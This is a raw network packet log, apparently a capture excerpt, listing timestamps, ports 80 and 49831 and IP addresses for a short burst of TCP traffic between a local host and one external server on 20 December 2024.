Dec 20, 2024 13:12:11.866785049 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.866838932 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.867806911 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.867899895 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.867922068 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.868005991 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.869399071 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.869453907 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.870445967 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.870541096 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.871052027 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.871110916 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.871817112 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.871882915 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.872642040 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.872665882 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.872700930 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.872731924 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.873260975 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.873286009 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.873327017 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.873327017 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.874042034 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.874085903 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.874110937 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.874129057 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.874727964 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.874802113 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.874984026 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.875052929 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.875396967 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.875468969 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.875488043 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.875531912 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.876323938 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.876414061 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.876431942 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.876463890 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.877854109 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.877931118 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.878078938 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.878153086 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.879404068 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.879484892 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.879529953 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.879529953 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.881083012 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.881138086 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.881308079 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.881398916 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.882098913 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.882116079 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.882162094 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.882210970 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.882787943 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.882836103 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.882839918 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.882906914 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.883559942 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.883672953 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.883815050 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.883915901 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.884325981 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.884383917 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.884409904 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.884433031 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.885185957 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.885232925 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.885620117 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.885672092 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.886332035 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.886405945 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.886554956 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.886605024 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.887495041 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.887511015 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.887562037 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.887562037 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.888655901 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.888709068 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.889141083 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.889190912 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.889705896 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.889720917 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.889834881 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.890880108 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.890994072 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.891000032 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.891053915 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.892548084 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.892601013 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.892776966 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.892895937 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.894212008 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.894263029 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.894376993 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.894427061 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.895571947 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.895622015 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.895917892 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.895989895 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.897349119 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.897420883 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.897461891 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.897512913 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.898952007 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.899033070 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.899106026 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.899338961 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.899812937 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.899919987 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.899931908 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.899995089 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.901071072 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.901148081 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.901196957 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.901271105 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.902143002 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.902266026 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.902283907 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.902483940 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.902874947 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.902936935 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.902981997 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.903031111 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.903672934 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.903774023 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.903775930 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.903887033 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.904228926 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.904295921 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.904299974 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.904356956 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.904992104 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.905045986 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.905100107 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.905158043 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.905782938 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.905927896 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.906012058 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.906095028 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.906536102 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.906605959 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.906907082 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.906970978 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.907871962 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.907996893 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.908255100 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.908340931 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.909398079 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.909478903 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.909879923 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.909928083 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.910778999 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.910866022 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.910968065 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.910968065 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.911513090 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.911573887 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.911645889 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.911696911 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.912857056 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.912925959 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.912996054 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.913059950 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.913522005 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.913579941 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.913598061 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.913650036 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:11.915002108 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:11.915046930 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.053173065 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.053258896 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.053673029 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.053769112 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.053817987 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.053833961 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.053879023 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.053903103 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.054742098 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.054796934 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.054812908 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.054863930 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.055341959 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.055392027 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.055408001 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.055469990 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.056129932 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.056183100 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.056233883 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.056291103 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.056756020 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.056771994 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.056813955 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.056864023 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.057604074 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.057620049 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.057688951 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.057688951 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.058598042 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.058753014 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.059815884 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.059832096 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.059895039 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.059895039 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.059946060 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.060005903 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.060843945 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.060926914 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.060961962 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.061058044 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.061948061 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.062015057 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.062052965 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.062150955 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.063118935 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.063210964 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.063776016 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.063883066 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.064227104 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.064243078 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.064302921 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.064302921 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.065344095 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.065402031 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.065448046 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.065505028 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.066446066 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.066581011 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.066750050 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.066819906 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.067617893 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.067636013 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.067689896 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.068722963 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.068845034 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.068888903 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.068948030 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.069891930 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.069988012 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.070096016 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.070154905 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.072012901 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.072072983 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.072464943 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.072556973 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.073575974 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.073590994 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.073637009 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.074764013 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.074821949 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.074846029 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.074928999 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.076069117 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.076184988 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.077286005 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.077342987 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.077734947 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.077785015 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.077871084 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.077924967 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.078758001 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.078794003 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.078818083 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.078841925 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.079544067 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.079631090 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.080244064 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.080301046 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.080826998 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.080842972 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.080883026 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.082580090 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.082638979 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.082817078 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.082875967 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.084074974 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.084161997 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.084167957 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.084228039 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.085067987 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.085124016 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.085127115 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.085180998 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.085680962 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.085747957 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.085854053 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.085916042 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.086605072 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.086723089 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.086726904 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.086807013 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.087657928 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.087841988 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.087878942 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.087991953 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.088534117 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.088588953 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.088627100 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.088700056 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.089373112 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.089442968 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.089531898 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.089584112 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.090363026 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.090428114 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.090508938 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.090555906 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.091033936 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.091099024 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.091124058 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.091169119 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.092335939 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.092394114 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.093734026 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.093797922 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.093888998 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.093945026 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.094022989 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.094080925 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.095408916 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.095455885 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.095846891 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.095937014 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.096416950 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.096501112 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.096519947 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.096570969 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.097142935 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.097237110 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.097923994 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.097945929 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.098026037 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.098336935 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.098419905 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.099128008 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.099194050 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.099453926 CET	80	49831	31.41.244.11	192.168.2.5
Dec 20, 2024 13:12:12.099524021 CET	49831	80	192.168.2.5	31.41.244.11
Dec 20, 2024 13:12:12.099864006 CET	80	49831	31.41.244.11	192.168.2.5
